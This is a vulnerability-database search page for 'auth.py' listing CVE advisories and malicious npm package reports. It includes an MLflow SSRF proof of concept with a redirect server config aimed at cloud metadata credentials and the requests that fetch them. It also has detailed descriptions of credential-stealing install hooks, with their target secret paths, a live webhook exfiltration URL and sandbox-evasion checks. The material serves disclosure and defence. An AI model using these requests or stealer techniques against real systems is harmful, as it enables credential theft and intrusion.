Search: auth.py
124 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Critical | 9.3 | KEVEPSS 10% | CVE-2026-64849MLflow: Unauthenticated full-read SSRF Critical9.3KEVEPSS 10%GCVE DatabaseCVE-2026-64849 ### Summary The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server. ### Details Three facts combine: 1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default. 2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`: ```python schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"] if parsed_url.scheme not in schemes: raise ... if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False for addr_info in socket.getaddrinfo(hostname, None): ip = ipaddress.ip_address(addr_info[4][0]) if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata ``` The resolved IP is never carried into the connection. 3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py: ```python def _create_webhook_session(): adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning ... def _send_webhook_request(webhook, payload, event, session): _validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout) # no allow_redirects=False -> 302 followed; redirect Location never re-validated ``` test_webhook returns response_status and response_body to the caller. Bypass vectors: Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning. ### PoC All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the `/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target. Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; } Step 0 — negative control (proves the guard is active; the naive internal URL is rejected): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."} (an https://127.0.0.1/ variant is likewise rejected as a non-public IP) <img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" /> Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}} <img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" /> Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned: POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}} -> 200 {"result":{"success":true,"response_status":200, "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}} <img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" /> Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a | GCVE Database | ||
| High | 8.7 | EPSS 0.4% | CVE-2026-45273PoxenStudio talebook · Missing Authorization High8.7EPSS 0.4%CVE Database V5CVE-2026-45273 MyBooks is an ebook management web server also known as Talebook. In 3.41.2 and earlier, the AdminSettings.post handler for POST /api/admin/settings in webserver/handlers/admin.py applies the auth decorator but does not check the self.admin_user property, unlike the corresponding GET handler. Any authenticated regular user can therefore overwrite server configuration values including SMTP credentials, OAuth client secrets, storage paths, security feature flags, and autoreload settings. The process_auth_header function in webserver/handlers/base.py also fails to verify the matched account's active flag, allowing a registered but unactivated account to authenticate and reach the vulnerable handler. Exploitation can disclose secrets through configuration access paths, sabotage application behavior, force service restarts, and supply the settings needed for related code-injection attacks. This issue is fixed in version 3.42.0. | CVE Database V5 | ||
| High | 8.8 | EPSS 0.3% | CVE-2026-48508Netflix lemur · Incorrect Authorization High8.8EPSS 0.3%CVE Database V5CVE-2026-48508 Lemur manages TLS certificate creation. Prior to 1.9.1, StrictRolePermission and AuthorityCreatorPermission in lemur/auth/permissions.py call flask_principal.Permission.__init__() with zero Need objects when ADMIN_ONLY_AUTHORITY_CREATION and LEMUR_STRICT_ROLE_ENFORCEMENT are unset because both flags default to False. Flask-Principal Permission.allows() returns True when self.needs is empty, so the .can() authorization gate permits every authenticated identity, including the read-only role. A read-only user can access POST /api/1/authorities, POST /api/1/certificates/upload, POST /api/1/pending_certificates//upload, POST /api/1/notifications, PUT or DELETE /api/1/notifications/, and POST /api/1/domains to create root Certificate Authorities, upload arbitrary certificates, create or edit notifications that reach an SSRF sink, and create domain entries. Explicitly setting either flag to False continues to opt into the permissive behavior. This issue is fixed in version 1.9.1. | CVE Database V5 | ||
| Critical | 9.3 | EPSS 0.7% | CVE-2026-75110MemTensor MemOS · Incorrect Comparison Critical9.3EPSS 0.7%CVE Database V5CVE-2026-75110 MemOS is a memory operating system for LLMs and AI agents. In deployments where authentication is enabled (AUTH_ENABLED=true) but the undocumented, defaultless INTERNAL_SERVICE_SECRET environment variable is unset, the is_internal_request() check in src/memos/api/middleware/auth.py fails open: os.getenv("INTERNAL_SERVICE_SECRET") returns None and a request omitting the X-Internal-Service header also yields None, so the comparison None == None evaluates true. The request is then treated as a trusted internal principal and granted scopes: ["all"]. As a result, an unauthenticated remote attacker can reach the admin API-key management endpoints to mint API keys for any user, enumerate keys, revoke keys, and generate a master key for persistent privileged access, as well as all data endpoints. | CVE Database V5 | ||
| Medium | 6.3 | EPSS 0.6% | Medium6.3EPSS 0.6%CVE Database V5CVE-2026-19897 A vulnerability has been found in mangroup dtale up to 3.22.0. This issue affects the function Login of the file dtale/auth.py of the component Login Endpoint. Such manipulation leads to improper restriction of excessive authentication attempts. The attack can be executed remotely. This attack is characterized by high complexity. The exploitability is assessed as difficult. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet. | CVE Database V5 | ||
| High | 8.8 | EPSS 0.4% | CVE-2026-72003Linux kernel · Integer Underflow High8.8EPSS 0.4%CVE Database V5CVE-2026-72003 A heap overflow vulnerability exists in the Linux kernel's brcmfmac driver when processing short authentication frames. The flaw occurs because the code does not properly validate frame length before copying data, allowing a malicious or malfunctioning access point to trigger a heap overflow remotely during the SAE authentication exchange. This vulnerability has been fixed in the Linux kernel. | CVE Database V5 | ||
| Medium | 6.3 | EPSS 0.2% | CVE-2025-68146Aws google auth: filelock has a TOCTOU race condition which allows symlink attacks during lock file creation Medium6.3EPSS 0.2%GCVE DatabaseCVE-2025-68146 A TOCTOU race condition in the filelock library allows local attackers to exploit a timing gap during lock file creation to perform symlink attacks that truncate arbitrary user files. This affects Unix, Linux, macOS, and Windows systems and cascades to dependent libraries such as virtualenv, PyTorch, poetry, and tox. The vulnerability is fixed in filelock version 3.20.1 by adding protections against symlink following. Users should upgrade immediately to mitigate the risk. | GCVE Database | ||
| High | 8.7 | EPSS 0.3% | CVE-2026-72801siyuan · Insufficiently Protected Credentials High8.7EPSS 0.3%CVE Database V5CVE-2026-72801 **CVE:** This vulnerability corresponds to [CVE-2026-72801](https://nvd.nist.gov/vuln/detail/CVE-2026-72801). ### Summary Two `CheckAuth`-only endpoints disclose the complete offline attack material for the encrypted-notebook master password, plus the wrapped per-notebook key needed to use it. Both are reachable by the publish `RoleReader` token and by the anonymous account when `Publish.Auth.Enable` is `false`. An unauthenticated remote client can retrieve the Argon2id salt and cost parameters, a verifier that confirms a correct password offline, and the encrypted per-notebook data key reducing the security of every encrypted notebook to the master password's resistance to offline GPU cracking. ### Details **(1) `POST /api/system/getConf` leaks `NotebookCrypto`.** `getConf` → `GetMaskedConf()` marshals the full configuration including `NotebookCrypto *conf.NotebookCrypto` (JSON tag `notebookCrypto`, not `-`, so it survives the deep copy). For non-administrators `HideConfSecret()` is applied, which nulls a dozen secret-bearing fields like AI, MCPOAuth, Api, Flashcard, Publish, Repo, Sync, Secrets, Variables, System paths but contains **no reference to `NotebookCrypto`**. `FilterConfByPublishIgnore()` for readers only touches `UILayout`. The reader therefore receives: | Field | What it is | |---|---| | `MasterSalt` | global Argon2id salt | | `KDFParams` | Argon2id memory/time/parallelism cost | | `KEKVerifier` + `VerifierNonce` | AES-GCM-encrypted fixed magic, the in-code comment states it exists for offline master-password verification | | `KEKMAC` | HMAC-SHA256 of the KEK | Either `KEKVerifier` or `KEKMAC` is a self-contained offline oracle: ``` KEK = Argon2id(guess, MasterSalt, KDFParams) correct if AES-GCM-decrypt(KEKVerifier, VerifierNonce) == magic or HMAC(KEK) == KEKMAC ``` No server round-trips are required, so there is no rate limiting, lockout, or logging on guesses, and the work is fully GPU-parallelisable. **(2) `POST /api/notebook/getNotebookConf` leaks the wrapped data key.** `box.GetConf()` returns the full `BoxConf` including `BoxCrypt.WrappedDEK`, the per-notebook data-encryption key wrapped under the KEK via AES-GCM together with `WrapNonce`. `getNotebookInfo` is the same class. Once (1) yields the master password, the attacker derives the KEK, decrypts `WrappedDEK` to recover the real data-encryption key, and decrypts every `.sy` file in that notebook. **Why this matters beyond the at-rest threat model.** Storing verifier and KDF material alongside the ciphertext is reasonable against a *local* attacker who already has filesystem access. Serving `MasterSalt` + `KDFParams` + `KEKVerifier` + `WrappedDEK` to an *anonymous remote reader* converts that at-rest assumption into a remote pre-authentication cracking opportunity. **Guarded-sibling asymmetry.** `HideConfSecret` nulls a dozen secret fields but omits `NotebookCrypto`. `lsNotebooks` filters notebook visibility for readers, while `getNotebookConf` and `getNotebookInfo` apply no reader filter at all. Verified at `origin/master` (`eef105683`): handler bodies as described; `HideConfSecret` contains zero `NotebookCrypto` matches; `FilterConfByPublishIgnore` touches only `UILayout`; all relevant struct JSON tags are non-`-`; all three routes are registered `CheckAuth` without `CheckAdminRole`. ### Proof of Concept Precondition: publish mode enabled (default port 6808) with at least one encrypted notebook configured; anonymous when `Publish.Auth.Enable` is `false`, otherwise any publish reader account. **1. Retrieve the key-derivation material as an anonymous reader:** ``` POST http://127.0.0.1:6808/api/system/getConf {} ``` The response's `notebookCrypto` object contains `MasterSalt`, `KDFParams`, `KEKVerifier`, `VerifierNonce`, and `KEKMAC` while the same response has the other secret fields (Api, Repo, Sync, Publish, System paths) correctly blanked, demonstrating the omission. **2. Retrieve the wrapped notebook key:** ``` POST http://127.0.0.1:6808/api/notebook/getNotebookConf {"notebook":"<NOTEBOOK_ID>"} ``` The response contains `BoxCrypt.WrappedDEK` and `WrapNonce`. **3. Offline:** candidate passwords are verified locally against `KEKVerifier`/`KEKMAC` using `MasterSalt` and `KDFParams`, with no further server interaction. A recovered password yields the KEK, which unwraps `WrappedDEK` to the notebook's data-encryption key. *Verification status:* the leak paths are confirmed by code inspection at `origin/master`. A live end-to-end demonstration requires a build from HEAD with an encrypted notebook enabled; the test instance available predates the encrypted-notebook feature, so no runtime reproduction is claimed here. ### Impact An unauthenticated remote client (publish mode with auth disabled) or any publish `RoleReader` obtains everything needed to mount an unlimited, unthrottled, GPU-parallel offline attack on the encrypted-notebook master password, plus the wrapped data key to decrypt notebook contents o | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.3% | CVE-2026-68971Apache Airflow · Missing Authorization Medium6.5EPSS 0.3%CVE Database V5CVE-2026-68971 Apache Airflow's asset materialization endpoint (`POST /api/v2/assets/{asset_id}/materialize`) and the XCom result check on `wait_dag_run_until_finished` authorized the target Dag without its team, unlike every other authorization site. A team-aware auth manager distinguishes a team-scoped Dag from a global one by that field -- the Keycloak auth manager, for example, checks the `DAG` resource instead of `DAG:<team>` -- so the team-scoped permission that should gate the request was never consulted. In a deployment running multi-team mode with a team-aware auth manager, an authenticated user in one team could trigger Dag runs belonging to another team, supplying their own `dag_run_id` and `conf`, and could read another team's XCom values. Deployments using the FAB auth manager are unaffected, as it has no multi-team support. Users are advised to upgrade to apache-airflow 3.3.1 or later, which resolves the Dag's team at both sites. | CVE Database V5 | ||
| Critical | 9.9 | EPSS 0.7% | CVE-2026-73263prowler · OS Command Injection Critical9.9EPSS 0.7%CVE Database V5CVE-2026-73263 Prowler is a cloud security platform. Prior to 5.36.0, the Kubernetes provider connection test accepted kubeconfig_content containing a legacy gcp auth-provider with config.cmd-path and config.cmd-args because kubeconfig_contains_exec_auth in api/src/backend/api/v1/serializers.py checked only exec blocks, and POST /api/v1/providers/{id}/connection loaded it through config.load_kube_config_from_dict in prowler/providers/kubernetes/kubernetes_provider.py, causing kubernetes-python CommandTokenSource.token to run the attacker-supplied command through subprocess.Popen on the shared worker. This issue is fixed in version 5.36.0. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database @aerodrome-finance/contracts is a malicious npm package that impersonates Aerodrome Finance. It carries no legitimate functionality; the published tarball contains only a package.json and an install-time payload (index.js). Both `preinstall` and `postinstall` run `node index.js || true`, so the code executes automatically when the package is installed. Version 1.0.0 harvests environment variables whose names match `KEY|TOKEN|SECRET|PASS|PRIVATE|MNEMONIC|RPC|AWS|GITHUB|NPM|KUBE|VAULT|AUTH|PGP|GPG|SEED|WALLET`, the contents of `~/.npmrc` and `~/.gitconfig`, and directory listings of `~/.ssh`, `~/.foundry/keystores`, `~/.config/hardhat`, and `~/.config/gcloud`, along with the hostname, username, working directory, and platform. The collected JSON is exfiltrated via an HTTPS POST to `https://webhook.site/326b0891-2093-4800-a4c1-686ce3e07b09`. Errors are swallowed so the install never visibly fails. Version 1.1.0, published roughly 2.5 hours after 1.0.0 for all six packages within the same ~9-second window, reads full file contents (up to 4000 bytes) instead of just listing them. New targets include `.aws/credentials`, `.aws/config`, `.ssh/id_rsa`, `.ssh/id_ed25519`, `.ssh/config`, `.kube/config`, `.docker/config.json`, `.netrc`, `.pgpass`, `.pypirc`, `.git-credentials`, and two GCP credential files (`application_default_credentials.json` and `legacy_credentials`) — the `~/.config/gcloud` directory listing is still collected too. It also reads local `.env`, `.env.local`, `.env.production`, `.env.development`, and `secrets.env` files from the working directory, and adds cryptocurrency wallet theft: key files from Solana, Anchor, NEAR, and Sui wallet paths, plus the first three files under `~/.foundry/keystores`. The credential regex gains BEARER, API, INFURA, ALCHEMY, HELIUS, QUICKNODE, ANKR, and PRIVATE_KEY to catch RPC and API provider tokens. Both versions exfiltrate to the same webhook.site endpoint. In 1.0.0, index.js opens with a fake comment claiming it is `@plumenetwork/nest-artifacts`, an unrelated install-time shim — `@plumenetwork/nest-artifacts` is not itself a malicious package, just a leftover label from whatever template the attacker reused across this batch, published by npm account `mssjeep843`. The fake comment was removed in 1.1.0. Five sibling packages from the same account impersonate Euler's EVC, Aerodrome Finance, Camelot AMM, and the BoringVault pattern, sharing this same webhook.site endpoint, byte-identical payload template, and 1.0.0-to-1.1.0 escalation. Two further packages from the same account (PyPI `dlmm` and `dlmm-sdk`, impersonating Meteora's DLMM SDK) ran an equivalent harvester and are tracked separately as MAL-2026-13728 and MAL-2026-13729. Any environment that installed either version should rotate the exposed secrets and treat harvested keys as compromised, prioritizing wallet private keys and RPC/API tokens if 1.1.0 was installed. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2c46806c21e6a0f5a5593eca11bbd822991f566dc05eb50c7ec56f88b649c3be) Package name typosquats the legitimate @aerodrome-finance scope. Lifecycle hooks auto-execute index.js on npm install, which reads installer secrets from ~/.aws/, ~/.ssh/, ~/.kube/, ~/.docker/, ~/.netrc, ~/.npmrc, ~/.pypirc, ~/.git-credentials, gcloud/solana/anchor/sui key directories, Foundry keystores, and.env files, and scrapes process.env for keys matching KEY|TOKEN|SECRET|PASS|PRIVATE|MNEMONIC|AWS|GITHUB|NPM|WALLET|SEED. The collected data is POSTed to a hardcoded webhook.site endpoint via https.request from a detached child process (spawn(process.execPath, ['-e', src], {detached:true, stdio:'ignore'})) that sleeps 60-240 seconds before sending, to outlive install and scan windows. Sandbox/honeypot evasion is present: host regex checks for scan-/detonation/sandbox/ubuntu-fc-uvm prefixes, non-root/sandbox user checks, canarytoken/honey env checks, and a check for npm mirror registries. Static evidence confirms co-use of child_process, https, os, and fs, with os.hostname() and a POST to https.request in index.js. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database @aerodrome-finance/slipstream is a malicious npm package that impersonates Aerodrome Finance's Slipstream concentrated-liquidity AMM. It carries no legitimate functionality; the published tarball contains only a package.json and an install-time payload (index.js). Both `preinstall` and `postinstall` run `node index.js || true`, so the code executes automatically when the package is installed. Version 1.0.0 harvests environment variables whose names match `KEY|TOKEN|SECRET|PASS|PRIVATE|MNEMONIC|RPC|AWS|GITHUB|NPM|KUBE|VAULT|AUTH|PGP|GPG|SEED|WALLET`, the contents of `~/.npmrc` and `~/.gitconfig`, and directory listings of `~/.ssh`, `~/.foundry/keystores`, `~/.config/hardhat`, and `~/.config/gcloud`, along with the hostname, username, working directory, and platform. The collected JSON is exfiltrated via an HTTPS POST to `https://webhook.site/326b0891-2093-4800-a4c1-686ce3e07b09`. Errors are swallowed so the install never visibly fails. Version 1.1.0, published roughly 2.5 hours after 1.0.0 for all six packages within the same ~9-second window, reads full file contents (up to 4000 bytes) instead of just listing them. New targets include `.aws/credentials`, `.aws/config`, `.ssh/id_rsa`, `.ssh/id_ed25519`, `.ssh/config`, `.kube/config`, `.docker/config.json`, `.netrc`, `.pgpass`, `.pypirc`, `.git-credentials`, and two GCP credential files (`application_default_credentials.json` and `legacy_credentials`) — the `~/.config/gcloud` directory listing is still collected too. It also reads local `.env`, `.env.local`, `.env.production`, `.env.development`, and `secrets.env` files from the working directory, and adds cryptocurrency wallet theft: key files from Solana, Anchor, NEAR, and Sui wallet paths, plus the first three files under `~/.foundry/keystores`. The credential regex gains BEARER, API, INFURA, ALCHEMY, HELIUS, QUICKNODE, ANKR, and PRIVATE_KEY to catch RPC and API provider tokens. Both versions exfiltrate to the same webhook.site endpoint. In 1.0.0, index.js opens with a fake comment claiming it is `@plumenetwork/nest-artifacts`, an unrelated install-time shim — `@plumenetwork/nest-artifacts` is not itself a malicious package, just a leftover label from whatever template the attacker reused across this batch, published by npm account `mssjeep843`. The fake comment was removed in 1.1.0. Five sibling packages from the same account impersonate Euler's EVC, Aerodrome Finance, Camelot AMM, and the BoringVault pattern, sharing this same webhook.site endpoint, byte-identical payload template, and 1.0.0-to-1.1.0 escalation. Two further packages from the same account (PyPI `dlmm` and `dlmm-sdk`, impersonating Meteora's DLMM SDK) ran an equivalent harvester and are tracked separately as MAL-2026-13728 and MAL-2026-13729. Any environment that installed either version should rotate the exposed secrets and treat harvested keys as compromised, prioritizing wallet private keys and RPC/API tokens if 1.1.0 was installed. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d9834357b7108ed122b3c272b3f913e0d2e931ab3629e94227b61f787fbe2525) Package published as @aerodrome-finance/slipstream advertises 'Aerodrome Slipstream AMM contracts and ABIs' but ships only index.js, which is executed via preinstall and postinstall lifecycle hooks. On install, index.js enumerates process.env filtering keys matching a credential regex (KEY|TOKEN|SECRET|PASS|PRIVATE|MNEMONIC|AWS|GITHUB|NPM|WALLET|SEED|...), reads installer-side secret files including ~/.aws/credentials, ~/.ssh/id_rsa and id_ed25519, ~/.npmrc, ~/.netrc, ~/.docker, ~/.foundry/keystores, Solana/Sui key material, and.env files, serializes the collected data, and hands it off to a detached Node subprocess (spawn(process.execPath, ['-e', src], {detached:true, stdio:'ignore'}); ch.unref()) that sleeps 60-240 seconds before POSTing the JSON payload to https://webhook.site/326b0891-2093-4800-a4c1-686ce3e07b09. The code also bails out when hostname/user match sandbox indicators (scan-, detonation, sandbox, ubuntu-fc-uvm, honey, canarytokens, npmmirror), evading install-time sandbox observation. The package name impersonates the Aerodrome Finance DeFi project and the harvest list targets crypto/DeFi developers (wallet keystores, RPC provider tokens, Foundry/Solana/Sui keys). | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database ethereum-vault-connector is a malicious npm package that impersonates Euler's Ethereum Vault Connector (EVC) protocol. It carries no legitimate functionality; the published tarball contains only a package.json and an install-time payload (index.js). Both `preinstall` and `postinstall` run `node index.js || true`, so the code executes automatically when the package is installed. Version 1.0.0 harvests environment variables whose names match `KEY|TOKEN|SECRET|PASS|PRIVATE|MNEMONIC|RPC|AWS|GITHUB|NPM|KUBE|VAULT|AUTH|PGP|GPG|SEED|WALLET`, the contents of `~/.npmrc` and `~/.gitconfig`, and directory listings of `~/.ssh`, `~/.foundry/keystores`, `~/.config/hardhat`, and `~/.config/gcloud`, along with the hostname, username, working directory, and platform. The collected JSON is exfiltrated via an HTTPS POST to `https://webhook.site/326b0891-2093-4800-a4c1-686ce3e07b09`. Errors are swallowed so the install never visibly fails. Version 1.1.0, published roughly 2.5 hours after 1.0.0 for all six packages within the same ~9-second window, reads full file contents (up to 4000 bytes) instead of just listing them. New targets include `.aws/credentials`, `.aws/config`, `.ssh/id_rsa`, `.ssh/id_ed25519`, `.ssh/config`, `.kube/config`, `.docker/config.json`, `.netrc`, `.pgpass`, `.pypirc`, `.git-credentials`, and two GCP credential files (`application_default_credentials.json` and `legacy_credentials`) — the `~/.config/gcloud` directory listing is still collected too. It also reads local `.env`, `.env.local`, `.env.production`, `.env.development`, and `secrets.env` files from the working directory, and adds cryptocurrency wallet theft: key files from Solana, Anchor, NEAR, and Sui wallet paths, plus the first three files under `~/.foundry/keystores`. The credential regex gains BEARER, API, INFURA, ALCHEMY, HELIUS, QUICKNODE, ANKR, and PRIVATE_KEY to catch RPC and API provider tokens. Both versions exfiltrate to the same webhook.site endpoint. In 1.0.0, index.js opens with a fake comment claiming it is `@plumenetwork/nest-artifacts`, an unrelated install-time shim — `@plumenetwork/nest-artifacts` is not itself a malicious package, just a leftover label from whatever template the attacker reused across this batch, published by npm account `mssjeep843`. The fake comment was removed in 1.1.0. Five sibling packages from the same account impersonate Euler's EVC, Aerodrome Finance, Camelot AMM, and the BoringVault pattern, sharing this same webhook.site endpoint, byte-identical payload template, and 1.0.0-to-1.1.0 escalation. Two further packages from the same account (PyPI `dlmm` and `dlmm-sdk`, impersonating Meteora's DLMM SDK) ran an equivalent harvester and are tracked separately as MAL-2026-13728 and MAL-2026-13729. Any environment that installed either version should rotate the exposed secrets and treat harvested keys as compromised, prioritizing wallet private keys and RPC/API tokens if 1.1.0 was installed. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e356d2defccd58232dcae91909871df86b18c3ba9adcaf07e0d754a57cf390fc) Package impersonates Euler Labs' 'Ethereum Vault Connector' Solidity project but ships a Node.js credential stealer as index.js, invoked automatically via preinstall and postinstall lifecycle hooks. On install, index.js filters process.env for keys matching KEY/TOKEN/SECRET/PASS/PRIVATE/MNEMONIC/AWS/GITHUB/NPM/WALLET and reads standard installer credential paths (~/.aws/credentials, ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.kube/config, ~/.docker/config.json, ~/.netrc, ~/.npmrc, ~/.git-credentials, ~/.config/gcloud, Solana/Sui/Anchor keys, ~/.foundry/keystores) and local.env files. Collected data is exfiltrated via a detached child node process that sleeps 60-240 seconds (to outlive the install sandbox) and POSTs a JSON body to https://webhook.site/326b0891-2093-4800-a4c1-686ce3e07b09. The script also bails out when hostname matches scan-/detonation/sandbox/ubuntu-fc-uvm patterns, username is scan/nonroot/sandbox, environment contains honey/canarytokens markers, or the npm registry is a known mirror — sandbox-evasion behavior confirming hostile intent. | GCVE Database | |||
| Critical | 9.8 | EPSS 0.7% | Critical9.8EPSS 0.7%GCVE DatabaseCVE-2026-68156 In the Linux kernel, the following vulnerability has been resolved: libceph: refresh auth->authorizer_buf{,_len} after authorizer update ceph_x_create_authorizer() caches au->buf->vec.iov_base and au->buf->vec.iov_len in struct ceph_auth_handshake. These cached values are then used by the messenger connect code when sending the authorizer. ceph_x_update_authorizer() can rebuild the authorizer when a newer service ticket is available. If the rebuilt authorizer no longer fits in the existing buffer, ceph_x_build_authorizer() drops its reference to au->buf and allocates a new one. If this is the final reference, ceph_buffer_put() frees the old ceph_buffer and its vec.iov_base, but auth->authorizer_buf still points at that freed memory. A subsequent msgr1 reconnect can therefore queue the stale pointer and trigger a KASAN slab-use-after-free in _copy_from_iter() while tcp_sendmsg() copies the authorizer. Refresh auth->authorizer_buf and auth->authorizer_buf_len after a successful authorizer rebuild so the messenger sends the current buffer. | GCVE Database | ||
| High | 8.6 | EPSS 0.5% | High8.6EPSS 0.5%GCVE DatabaseCVE-2026-72581 CVE-2026-72581 is a server-side request forgery (SSRF) vulnerability in the duhow/xiaoai-patch project. It allows a remote attacker to make the Xiaomi smart speaker perform HTTP requests to arbitrary internal or external URLs. The vulnerability exists because the /auth endpoint in api/main.py uses a user-supplied URL parameter without validating the destination, enabling potential internal network scanning and access to internal services. | GCVE Database | ||
| Medium | 6.3 | EPSS 0.3% | CVE-2026-54765Traefik · Gateway HTTPRoute backendRef filters can leak backend context across routes sharing a Service:port Medium6.3EPSS 0.3%GCVE DatabaseCVE-2026-54765 ## Summary There is a medium severity vulnerability in Traefik's Kubernetes Gateway API provider. When two accepted HTTPRoutes target the same backend Service:port but configure different `backendRef` filters, Traefik may resolve both routes to the same child service and apply only one route's filter set to all requests reaching that backend. In Gateway deployments where `backendRef` filters set security-sensitive headers — such as tenant identity, authorization context, or values the backend trusts — an attacker who can create an accepted HTTPRoute sharing the same backend Service:port may cause their route's filter context to be applied to another route's requests, potentially crossing namespace boundaries when a `ReferenceGrant` permits cross-namespace targeting. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.7.6 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> # Traefik Gateway HTTPRoute backendRef filter context collision across routes sharing Service:port ## Summary Traefik's Kubernetes Gateway API provider builds the dynamic HTTP backend service key for a Gateway `HTTPRoute` backendRef from only the backend namespace, Service name, protocol, and port. It does not include the HTTPRoute, listener, rule, or backendRef filter identity in that key. When two accepted HTTPRoutes point to the same backend `Service:port` but define different backendRef filters, Traefik can make both route WRR services reference the same child service. The child service then carries only one backendRef filter set, so one route can send requests to the backend with another route's backend context. This is security-relevant when backendRef filters set, remove, or rewrite security-sensitive context, such as tenant, identity, auth, sanitization, Host, or path headers trusted by the backend. Credit: Qican Ma, Ding Luo @XiaoMi ShadowBlade Security Lab ## Suggested Severity Suggested severity: Medium/High, configuration-dependent. Suggested CVSS 3.1: ```text CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N ``` Notes: - Requires Gateway API routes sharing the same backend Service:port with different security-sensitive backendRef filters trusted by the backend. - Cross-namespace impact is possible when route attachment and ReferenceGrant policy allow an attacker route to target the shared backend. - No RCE, memory corruption, or default-config exposure claimed. Suggested CWE: ```text CWE-863: Incorrect Authorization CWE-284: Improper Access Control ``` ## Affected Component ```text pkg/provider/kubernetes/gateway/httproute.go — loadService(), loadMiddlewares() ``` ## Tested Versions Confirmed on: ```text Traefik source snapshot: 29406d42898547f1ffabd904f66af06c212740cf on master ``` Earliest affected version not exhaustively determined. ## Root Cause `loadService` starts the dynamic service name from backend namespace and Service name only: ```go // pkg/provider/kubernetes/gateway/httproute.go:245 serviceName := provider.Normalize(namespace + "-" + string(backendRef.Name) + "-http") ``` It loads backendRef filters using that same service name before appending the backend port: ```go // pkg/provider/kubernetes/gateway/httproute.go:258 middlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch) ``` For normal Kubernetes Services, the final child service key appends only the port: ```go // pkg/provider/kubernetes/gateway/httproute.go:304-317 portStr := strconv.FormatInt(int64(port), 10) serviceName = provider.Normalize(serviceName + "-" + portStr) ... conf.HTTP.Services[serviceName] = &dynamic.Service{LoadBalancer: lb, Middlewares: middlewares} ``` Each route/rule WRR service references the child service by name. Later route configs are merged by map key (`maps.Copy`), so both route-local WRR services can point to the same child service, which retains only one of the route/backendRef filter configurations. ## Attack Scenario 1. Gateway listener with `allowedRoutes.namespaces.from: All`. 2. Victim `HTTPRoute` `route-a` in namespace `default` targets `default/whoami:80` with backendRef filter setting `X-Tenant: tenant-a`. 3. Attacker-controlled `HTTPRoute` `route-b` in namespace `attacker` targets `default/whoami:80` (via ReferenceGrant) with backendRef filter setting `X-Tenant: tenant-b`. 4. Both routes generate the same child service key: `default-whoami-http-80`. 5. The second route's filter configuration overwrites the first (or vice versa) via `maps.Copy`. 6. Backend receives both routes' requests with one tenant's header context. ## Proof of Concept A Go test harness injects provider-level and server-level tests into the Traefik checkout. The provider test confirms the generated dynamic configuration collision. The server test builds Traefik's 